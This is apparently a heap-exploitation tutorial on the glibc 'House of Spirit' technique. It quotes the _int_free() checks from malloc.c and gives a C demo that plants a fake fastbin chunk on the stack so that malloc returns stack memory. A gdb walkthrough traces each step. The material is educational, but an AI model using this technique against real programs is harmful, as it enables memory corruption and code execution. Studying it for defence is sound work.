Excuse the ads! We need some help to keep our site up.
List
House of Spirit
- _int_free() request misaligned_chunk() to check if the chunk's pointer to which the memory has been freed is a correctly aligned pointer.
- If the chunk's alignment is not correct, the process exits with a "free(): invalid pointer" message.
malloc.c
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ && (chunk_at_offset(p, size) != av->top) #endif ) { if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) { errstr = "free(): invalid pointer"; errout:
- _int_free() checks to see if the value stored in "size" of the chunk is less than MINSIZE and its value is a normal sorted value.
- If not normal, the process terminates with the message "free (): invalid size".
malloc.c
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) { errstr = "free(): invalid size"; goto errout; }
- _int_free() checks that the size of the chunk corresponds to fastbin and then checks that the value stored in size of the next chunk is normal under the following conditions.
- From the value stored in the "size" of the next chunk, remove all the used flag bits and verify that the value is less than or equal to 2 * SIZE_SZ.
- Then check that the value stored in the "size" of the next chunk is greater than or equal to the value of av-> system_mem.
- If the Arena is not locked, the value stored in av→system_mem may be false.
- Therefore, after locking the Arena, the value is checked again according to the conditions identified above.
- If the condition is met, the value stored in the size of the next chunk is abnormal, so it prints the message "free (): invalid next size (fast)" and terminates the process.
- If the above conditions are met, the chunk is a normal chunk, and the chunk is stored in fastbin.
- _int_free() does not check if a pointer to the passed chunk exists on the Stack.
malloc.c
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ && (chunk_at_offset(p, size) != av->top) #endif ) { if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */ if (have_lock || ({ assert (locked == 0); __libc_lock_lock (av->mutex); locked = 1; chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; } if (! have_lock) { __libc_lock_unlock (av->mutex); locked = 0; } } free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); set_fastchunks(av); unsigned int idx = fastbin_index(size); fb = &fastbin (av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; unsigned int old_idx = ~0u;
- House of Spirit can be implemented if it is possible to write a fake chunk to the stack and call free() at an address of that stack plus 0x10.
- Write a Fake chunk for Fastbin on the stack and request malloc() for memory allocation.
- And if you call free() with the address of Fake chunk plus 0x10, a pointer to that chunk is stored in Fastbin[].
- Calling malloc () with the size of the chunk returns a pointer to the fake chunk stored in Fastbin [].
- The pointer is the memory of the stack area.
- For example, create a Fake chunk on the Stack with a Fake chunk "size" of 0x80 and the next chunk with a "size" value of 0x1000:
- Request malloc() for memory allocation of size 0x3e8(1000).
- Request free() to free the pointer to the fake chunk (0x7fffffffe3d0).
- Call malloc() for allocation of memory of size 0x70.
- The allocator reallocates and returns a pointer stored in fastbinsY[6].
- The returned memory is a stack area.
House of Spirit flow
Example
- This code is the same code as the previous example.
- After writing the fake chunks to the stack, it allocates memory by calling malloc().
- Then call free() to free the memory stored in ptr.
- Call malloc() again to allocate memory of size 0x70.
house_of_spirit.c
#include <stdio.h> #include <stdlib.h> #include <string.h> void main(){ unsigned long *ptr; unsigned long fake_chunk[20]; fprintf(stderr,"fakeChunk : %p\n",fake_chunk); fprintf(stderr,"ptr : %p\n",&ptr); fake_chunk[1] = 0x80; fake_chunk[17] = 0x1000; malloc(1000); ptr = fake_chunk + 2; free(ptr); char *stack = malloc(0x70); fprintf(stderr,"Stack : %p\n",stack); }
Check for fake chunks written to stack at 0x4006c0.
Check the heap space creation and arena value at 0x4006d8.
Free the fake chunk pointer at 0x4006f9 and see the change in fastbins.
Check the pointer returned from malloc() at 0x400708.
Breakpoints
lazenca0x0@ubuntu:~$ gcc -o house_of_spirit house_of_spirit.c lazenca0x0@ubuntu:~$ gdb -q ./house_of_spirit Reading symbols from ./house_of_spirit...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400666 <+0>: push rbp 0x0000000000400667 <+1>: mov rbp,rsp 0x000000000040066a <+4>: sub rsp,0xc0 0x0000000000400671 <+11>: mov rax,QWORD PTR fs:0x28 0x000000000040067a <+20>: mov QWORD PTR [rbp-0x8],rax 0x000000000040067e <+24>: xor eax,eax 0x0000000000400680 <+26>: mov rax,QWORD PTR [rip+0x2009d9] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400687 <+33>: lea rdx,[rbp-0xb0] 0x000000000040068e <+40>: mov esi,0x4007d4 0x0000000000400693 <+45>: mov rdi,rax 0x0000000000400696 <+48>: mov eax,0x0 0x000000000040069b <+53>: call 0x400540 <fprintf@plt> 0x00000000004006a0 <+58>: mov rax,QWORD PTR [rip+0x2009b9] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006a7 <+65>: lea rdx,[rbp-0xc0] 0x00000000004006ae <+72>: mov esi,0x4007e4 0x00000000004006b3 <+77>: mov rdi,rax 0x00000000004006b6 <+80>: mov eax,0x0 0x00000000004006bb <+85>: call 0x400540 <fprintf@plt> 0x00000000004006c0 <+90>: mov QWORD PTR [rbp-0xa8],0x80 0x00000000004006cb <+101>: mov QWORD PTR [rbp-0x28],0x1000 0x00000000004006d3 <+109>: mov edi,0x3e8 0x00000000004006d8 <+114>: call 0x400550 <malloc@plt> 0x00000000004006dd <+119>: lea rax,[rbp-0xb0] 0x00000000004006e4 <+126>: add rax,0x10 0x00000000004006e8 <+130>: mov QWORD PTR [rbp-0xc0],rax 0x00000000004006ef <+137>: mov rax,QWORD PTR [rbp-0xc0] 0x00000000004006f6 <+144>: mov rdi,rax 0x00000000004006f9 <+147>: call 0x400510 <free@plt> 0x00000000004006fe <+152>: mov edi,0x70 0x0000000000400703 <+157>: call 0x400550 <malloc@plt> 0x0000000000400708 <+162>: mov QWORD PTR [rbp-0xb8],rax 0x000000000040070f <+169>: mov rax,QWORD PTR [rip+0x20094a] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400716 <+176>: mov rdx,QWORD PTR [rbp-0xb8] 0x000000000040071d <+183>: mov esi,0x4007ee 0x0000000000400722 <+188>: mov rdi,rax 0x0000000000400725 <+191>: mov eax,0x0 0x000000000040072a <+196>: call 0x400540 <fprintf@plt> 0x000000000040072f <+201>: nop 0x0000000000400730 <+202>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400734 <+206>: xor rax,QWORD PTR fs:0x28 0x000000000040073d <+215>: je 0x400744 <main+222> 0x000000000040073f <+217>: call 0x400520 <__stack_chk_fail@plt> 0x0000000000400744 <+222>: leave 0x0000000000400745 <+223>: ret End of assembler dump. gdb-peda$ b *0x00000000004006c0 Breakpoint 1 at 0x4006c0 gdb-peda$ b *0x00000000004006d8 Breakpoint 2 at 0x4006d8 gdb-peda$ b *0x00000000004006f9 Breakpoint 3 at 0x4006f9 gdb-peda$ b *0x0000000000400708 Breakpoint 4 at 0x400708 gdb-peda$
Save the size of the fake chunk(0x80) to the QWORD PTR[0x7fffffffe470-0xa8], and the size of the next chunk(0x1000) to the QWORD PTR[0x7fffffffe470-0xa8].
- Fake chunks have been created on the stack.
Fake chunks stored on the stack.
gdb-peda$ r Starting program: /home/lazenca0x0/house_of_spirit fakeChunk : 0x7fffffffe3c0 ptr : 0x7fffffffe3b0 Breakpoint 1, 0x00000000004006c0 in main () gdb-peda$ x/2i $rip => 0x4006c0 <main+90>: mov QWORD PTR [rbp-0xa8],0x80 0x4006cb <main+101>: mov QWORD PTR [rbp-0x28],0x1000 gdb-peda$ i r rbp rbp 0x7fffffffe470 0x7fffffffe470 gdb-peda$ ni 0x00000000004006cb in main () gdb-peda$ ni 0x00000000004006d3 in main () gdb-peda$ x/gx 0x7fffffffe470 - 0xa8 0x7fffffffe3c8: 0x0000000000000080 gdb-peda$ x/gx 0x7fffffffe470 - 0x28 0x7fffffffe448: 0x0000000000001000 gdb-peda$ x/20gx 0x7fffffffe3c8 - 0x8 0x7fffffffe3c0: 0x0000000000000000 0x0000000000000080 0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe3f0: 0x00007fffffffe568 0x0000000000000000 0x7fffffffe400: 0x0000000000000001 0x00007fffffffe568 0x7fffffffe410: 0x0000000000000001 0x00007fffffffe490 0x7fffffffe420: 0x00007ffff7ffe168 0x0000000000f0b5ff 0x7fffffffe430: 0x0000000000000001 0x000000000040079d 0x7fffffffe440: 0x00007fffffffe46e 0x0000000000001000 0x7fffffffe450: 0x0000000000400750 0x0000000000400570 gdb-peda$
- The arena has only minimal information because it was not created in heap space before malloc () asked for memory allocation.
- After malloc() allocates memory, heap space is created and the values of Arena's flags, bins, system_mem, max_system_mem, etc. are initialized.
Before and after requesting heap allocation
gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004006d8 in main () gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x0, last_remainder = 0x0, bins = {0x0 <repeats 254 times>}, binmap = {0x0, 0x0, 0x0, 0x0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 0x1, system_mem = 0x0, max_system_mem = 0x0 } gdb-peda$ p &main_arena $2 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena> gdb-peda$ ni 0x00000000004006dd in main () gdb-peda$ p main_arena $3 = { mutex = 0x0, flags = 0x1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x6023f0, last_remainder = 0x0, bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, ... 0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...}, binmap = {0x0, 0x0, 0x0, 0x0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 0x1, system_mem = 0x21000, max_system_mem = 0x21000 } gdb-peda$
- Transfer a pointer to the Fake chunk (0x7fffffffe3d0) to free(), and when the memory is freed, the pointer to that chunk is placed at fastbinsY[6].
- Call malloc() with an argument of 0x70 for reallocating the chunk.
- Malloc() then reallocates the chunks placed at fastbinsY[6] and returns a pointer(0x7fffffffe3d0).
Reallocate chunks registered in fastbins
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006f9 in main () gdb-peda$ x/i $rip => 0x4006f9 <main+147>: call 0x400510 <free@plt> gdb-peda$ i r rdi rdi 0x7fffffffe3d0 0x7fffffffe3d0 gdb-peda$ p main_arena->fastbinsY[6] $4 = (mfastbinptr) 0x0 gdb-peda$ ni 0x00000000004006fe in main () gdb-peda$ p main_arena->fastbinsY[6] $5 = (mfastbinptr) 0x7fffffffe3c0 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400708 in main () gdb-peda$ i r rax rax 0x7fffffffe3d0 0x7fffffffe3d0 gdb-peda$ c Continuing. Stack : 0x7fffffffe3d0 [Inferior 1 (process 21008) exited normally] Warning: not running gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/